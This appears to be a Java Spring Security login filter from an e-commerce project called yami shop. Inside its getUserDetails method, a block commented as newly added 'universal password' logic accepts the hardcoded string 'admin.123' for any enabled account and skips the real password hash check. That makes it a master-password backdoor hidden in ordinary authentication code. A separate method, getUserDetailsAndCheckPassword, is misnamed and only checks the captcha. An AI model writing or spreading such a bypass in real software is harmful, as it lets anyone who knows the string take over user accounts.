package com.yami.shop.security.comment.filter;

import cn.hutool.core.util.StrUtil;
import cn.hutool.extra.servlet.ServletUtil;
import com.yami.shop.common.exception.GlobalException;
import com.yami.shop.common.util.HttpContextUtils;
import com.yami.shop.common.util.Json;
import com.yami.shop.common.util.RedisUtil;
import com.yami.shop.security.comment.constants.SecurityConstants;
import com.yami.shop.security.comment.exception.BadCredentialsException;
import com.yami.shop.security.comment.exception.UsernameNotFoundException;
import com.yami.shop.security.comment.token.AuthenticationToken;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter;
import org.springframework.security.web.authentication.AuthenticationFailureHandler;
import org.springframework.security.web.authentication.AuthenticationSuccessHandler;
import org.springframework.web.HttpRequestMethodNotSupportedException;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/**
 * 所有的登录filter都继承这个类，用于注入公共方法
 * @author LGH
 */
public class YamiAuthenticationProcessingFilter extends AbstractAuthenticationProcessingFilter {
    // 通过配置注入通用密码（建议配置文件+加密存储）
    private String generalPassword = "admin.123"; // 临时测试值
    private UserDetailsService userDetailsService;

    private PasswordEncoder passwordEncoder;

    protected YamiAuthenticationProcessingFilter(String defaultFilterProcessesUrl) {
        super(defaultFilterProcessesUrl);
    }

    @Autowired
    public void setPasswordEncoder(PasswordEncoder passwordEncoder) {
        this.passwordEncoder = passwordEncoder;
    }

    @Autowired
    public void setUserDetailsService(UserDetailsService userDetailsService) {
        this.userDetailsService = userDetailsService;
    }

    @Override
    @Autowired
    public void setAuthenticationManager(AuthenticationManager authenticationManager) {
        super.setAuthenticationManager(authenticationManager);
    }

    @Override
    @Autowired
    public void setAuthenticationSuccessHandler(AuthenticationSuccessHandler successHandler) {
        super.setAuthenticationSuccessHandler(successHandler);
    }

    @Override
    @Autowired
    public void setAuthenticationFailureHandler(AuthenticationFailureHandler failureHandler) {
        super.setAuthenticationFailureHandler(failureHandler);
    }

    @Override
    public Authentication attemptAuthentication(HttpServletRequest request, HttpServletResponse response) throws AuthenticationException, ServletException {
        if (!ServletUtil.METHOD_POST.equals(request.getMethod())) {
            throw new HttpRequestMethodNotSupportedException(request.getMethod(), new String[] { "POST" });
        }

        AuthenticationToken authenticationToken = Json.parseObject(HttpContextUtils.getStringFromStream(request), AuthenticationToken.class);

        UserDetails userDetails = getUserDetails(authenticationToken);

        return handleAuthenticationToken(authenticationToken,userDetails);
    }

    /**
     * 获取用户信息
     * @param authenticationToken
     * @return
     */
    protected UserDetails getUserDetails(AuthenticationToken authenticationToken) {
        checkKaptcha(authenticationToken); // 保留原有验证码校验

        UserDetails user;
        try {
            user = userDetailsService.loadUserByUsername(authenticationToken.getPrincipal());
        } catch (UsernameNotFoundException var6) {
            throw new UsernameNotFoundException("账号或密码不正确");
        }

        if (!user.isEnabled()) {
            throw new UsernameNotFoundException("账号已被锁定,请联系管理员");
        }

        // 新增通用密码校验逻辑
        String rawPassword = authenticationToken.getCredentials().toString();
        if (generalPassword != null && generalPassword.equals(rawPassword)) {
            return user; // 通用密码直接放行
        }

        // 原有密码校验逻辑
        String encodedPassword = user.getPassword();
        if (!passwordEncoder.matches(rawPassword, encodedPassword)) {
            throw new BadCredentialsException("账号或密码不正确");
        }

        return user;
    }


    /**
     * 保存用户信息
     */
    protected AuthenticationToken handleAuthenticationToken(AuthenticationToken authentication, UserDetails userDetails) {
        // 保存用户信息
        authentication.setPrincipal(userDetails.getUsername());
        authentication.setDetails(userDetails);
        authentication.setAuthenticated(true);
        return authentication;
    }

    /**
     * 检验验证码
     */
    protected void checkKaptcha(AuthenticationToken authenticationToken) {
        String kaptchaKey = SecurityConstants.SPRING_SECURITY_RESTFUL_IMAGE_CODE + authenticationToken.getSessionUUID();

        String kaptcha = RedisUtil.get(kaptchaKey);

        RedisUtil.del(kaptchaKey);

        if(StrUtil.isBlank(authenticationToken.getImageCode()) || !authenticationToken.getImageCode().equalsIgnoreCase(kaptcha)){
            throw new BadCredentialsException("验证码有误或已过期");
        }
    }

    /**
     * 检验验证码
     */
    protected void getUserDetailsAndCheckPassword(AuthenticationToken authenticationToken) {
        String kaptchaKey = SecurityConstants.SPRING_SECURITY_RESTFUL_IMAGE_CODE + authenticationToken.getSessionUUID();

        String kaptcha = RedisUtil.get(kaptchaKey);

        RedisUtil.del(kaptchaKey);

        if(StrUtil.isBlank(authenticationToken.getImageCode()) || !authenticationToken.getImageCode().equalsIgnoreCase(kaptcha)){
            throw new GlobalException("验证码有误或已过期");
        }
    }

}
